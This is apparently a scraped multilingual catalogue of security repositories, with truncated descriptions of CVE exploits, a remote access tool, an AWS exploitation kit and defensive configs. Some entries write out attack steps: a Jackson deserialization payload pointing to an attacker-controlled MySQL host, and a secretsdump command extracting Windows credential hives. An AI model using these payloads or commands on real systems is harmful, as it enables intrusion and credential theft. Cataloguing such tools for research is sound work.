sysmon-config

sysmon-config | 모두가 포크할 수 있는 Sysmon 설정 파일 이것은 기본 고급 이벤트 추적 기능을 갖춘 Microsoft Sysinternals Sysmon 설정 파일 템플릿입니다. 이 파일은 자체 포함되고 접근 가능한 패키지로 시스템 변경 모니터링을 위한 훌륭한 시작점 역할을 해야 합니다. 이 설정과 결과를 통해 Sysmon으로 무엇이 가능한지 잘 알 수 있을 것입니다. 참고로, 이 설정은 인증 및 사고 조사에 중요한 기타 Windows 이벤트와 같은 항목을 추적하지 않습니다...

CVE-2019-12086

ドキュメント説明 CVE-2019-12086 Jackson のデシリアライゼーション 脆弱性の悪用 1. 悪意のあるMySQLサーバーを起動： python roguemysqlserver.py 2. 同じディレクトリで mysql.log を確認： tail -f mysql.log 3. 脆弱性のあるアプリケーションに以下のJSONを送信： "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson...

CVE-2022-3590-WordPress-Vulnerability-Scanner

CVE-2022-3590 WordPress 脆弱性スキャナー このPythonスクリプトは、WordPressウェブサイトがCVE-2022-3590の脆弱性の影響を受けるかどうかをチェックするために設計されています。この脆弱性は、WordPressのピンバック機能における認証不要のブラインドServer-Side Request Forgery（SSRF）を悪用します。 はじめに 以下の手順に従って、このスクリプトの使用方法を確認してください。 スクリーンショット 前提条件 このスクリプトにはPython...

CVE-2021-36934

CVE-2021-36934 root@kitploit: python secretsdump.py -sam C:\Windows\Temp\SAM -security C:\Windows\Temp\SECURITY -system C:\Windows\Temp\SYSTEM LOCAL...

nimbostratus

Nimbostratus Amazonクラウドインフラストラクチャのフィンガープリンティングとエクスプロイトのためのツールです。これらのツールは、私の「Pivoting in Amazon clouds」トークのために開発したPoCであり、AmazonのAPIにアクセスするための優れたbotoライブラリを使用しています。 詳細については、プロジェクトページをご覧ください。 バグの報告、フォーク、プルリクエストをお気軽にどうぞ。また、@w3afまでご連絡いただけます。...

nimbostratus

Nimbostratus Tools for fingerprinting and exploiting Amazon cloud infrastructures. These tools are a PoC which I developed for my "Pivoting in Amazon clouds" talk, developed using the great boto library for accessing Amazon's API. For more information visit the project page Feel free to report...

Ares

Ares AresはPython製のリモートアクセスツールです。 警告：本ソフトウェアは、お住まいの地域の法律に従ってのみ使用してください。本ソフトウェアの誤用は法的・倫理的問題を引き起こす可能性があり、私はそれを支持せず、責任を負いません。 Aresは2つの主要プログラムから構成されています： コマンド＆コントロールサーバー：エージェントを管理するWebインターフェース エージェントプログラム：侵害されたホスト上で実行され、CNCとの通信を確保します WebインターフェースはPythonが動作する任意のサーバーで実行可能です。エージェントはpyinstaller...

CVE-2018-10933

CVE-2018-10933 libssh のサーバーサイド状態機械において、バージョン 0.7.6 および 0.8.4 より前のバージョンに脆弱性が見つかりました。 悪意のあるクライアントが、認証を先に行わずにチャネルを作成でき、結果として不正アクセスが可能になります。 詳細 問題は、libssh が認証の状態を維持しない方法と、それによって認証がバイパスされる可能性に起因します。基本的に、接続は step1、step2、step3... という複数ステップのプロセスと考えてください。libssh はステップの順序を強制しないため、step1 と step2 を経ずに step3...

CVE-2023-2744

エクスプロイトタイトル: WP Plugins WP ERP = 1.12.2 - SQLインジェクション 日付: 15-10-2023 エクスプロイト作者: Arvandy ソフトウェアリンク: https://wordpress.org/plugins/erp/ ベンダーホームページ: https://wperp.com/ バージョン: 1.12.2 テスト環境: Windows, Linux CVE: CVE-2023-2744 製品説明 WP ERP は、単一のプラットフォームから WordPress サイトとビジネスを同時に管理できる、初の本格的な ERP Enterprise...

CVE-2026-31431-Copy-Fail-R-pertoire-de-Pr-vention

🔴 CVE-2026-31431 — Copy Fail Linux Kernel Local Privilege Escalation LPE — 防御的研究リポジトリ 📖 概要 Copy Fail CVE-2026-31431 は、AFALG、splice、authencesn のメカニズムを介して page cache を制御された方法で破壊することにより、Linux カーネルに影響を与える Local Privilege Escalation LPE 脆弱性です。 このリポジトリの目的は以下の通りです： 脆弱性の内部メカニズムを文書化する エクスプロイトの論理チェーンを説明する...

Dirty-COW-CVE-2016-5195-Testing

Dirty-COW-CVE-2016-5195-Testing Dirty COW（CVE-2016-5195）のテスト...

CVE-2026-49049

CVE-2026-49049 マススキャナー CVE-2026-49049 用のマス脆弱性スキャナー - Joomla Helix3 Framework における未認証のリモートコード実行。 📌 説明 このツールは、Helix3 プラグインで見つかった CVE-2026-49049 脆弱性について、複数の Joomla サイトをチェックします。この脆弱性により、認証されていない攻撃者がターゲットサーバー上で任意の PHP コードをアップロードおよび実行できます。 スキャナーは以下を試みます： 1. helix3 プラグインを使用して comajax エンドポイントを悪用します。 2. 無...

danish_phone_wordlist_generator

덴마크 전화번호 워드리스트 생성기 이 도구는 지역 및/또는 사용 용도모바일, 유선 등에 따라 덴마크 전화번호의 워드리스트를 생성할 수 있습니다. 덴마크 대상을 대상으로 한 비밀번호 크래킹 또는 퍼징에 유용합니다. 참고: 덴마크 일반 목적 워드리스트 모음은 Danish Wordlists 저장소를 확인하세요. 시작하기: 저장소 복제: git clone https://github.com/narkopolo/danishphonewordlistgenerator.git 디렉토리로 이동: cd danishphonewordlistgenerat...

CVE

cve: CVE-2016-0728に関するコード集（さまざまな著者） Linuxからの抜粋で、バグの進化と修正を示しています Perception Point によるエクスプロイトコード（各行の動作を説明するコメントが追加されています） リークを利用して使用カウントを増加させる短いスクリプト。システムにバグが存在するかどうかを判断するのに役立ちます。 システムコールラッパーをバイパスするエクスプロイトのバージョン（keycntl ラッパーを実装していないシステム向け）。 2016年1月の最初の緊急パッチ...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Apache Struts 2 脆弱なDockerコンテナ Apacheは最近、Apache Struts 2に影響を及ぼす深刻度9.8の重大な脆弱性であるCVE-2023-50164に関する勧告を公開しました。 CVE-2023-50164は、組織のApache Strutsアーキテクチャと、そのファイルアップロード機能の使用方法に密接に関連しており、許可されていないパストラバーサルを可能にします。これにより、悪意のあるファイルをアップロードしてリモートコード実行（RCE）を行うために悪用される可能性があります。...

CVE-2020-0601

ChainOfFools también conocido como CurveBall también conocido como CVE-2020-0601 Colección de recursos sobre CVE-2020-0601 ChainOfFools | CurveBall General Un resumen del aviso de la NSA indica. La NSA ha descubierto una vulnerabilidad crítica CVE-2020-0601 que afecta la funcionalidad criptográfi...

staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

CVE-2025-24893-EXP

CVE-2025-24893-EXP 影響を受けるバージョン xwiki-platform = 5.3-milestone-2, = 16.0.0-rc-1, 16.4.1 16.0.0-rc-1, 16.4.1 PoC https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml CVE-2025-24893 - XWiki Platform エクスプロイト usage: python CVE-2025-24893.py -u -c 免責事項...

CVE-2024-5246

NETGEAR ProSAFE Network Management System におけるリモートコード実行 RCE の概念実証 PoC このリポジトリは、NETGEAR ProSAFE Network Management System におけるリモートコード実行 RCE 脆弱性の概念実証 PoC スクリプトを含んでいます。この脆弱性は、製品インストーラー内で脆弱なバージョンの Apache Tomcat が使用されていることに起因します。この問題により、認証済みの攻撃者が影響を受けるインストール環境で任意のコードを実行できる可能性があります。 脆弱性の説明 CVE-ID :...

Zerologon-Attack-CVE-2020-1472-POC

CVE-2020-1472 POC 最新のGitHubから取得した、netlogon構造が追加されたimpacketが必要です。 デフォルトではこれによりドメインコントローラアカウントのパスワードが変更されることに注意してください。確かにこれでDCSyncが可能になりますが、他のドメインコントローラとの通信も壊れるため、注意してください! 詳細情報と元の研究はこちら インストール Python 3.6以降 でのみ動作します! OSにimpacketがインストールされている場合例: Kaliは、まず既存のインストールをすべて削除してください。それでもインポートエラーが発生する場合は、...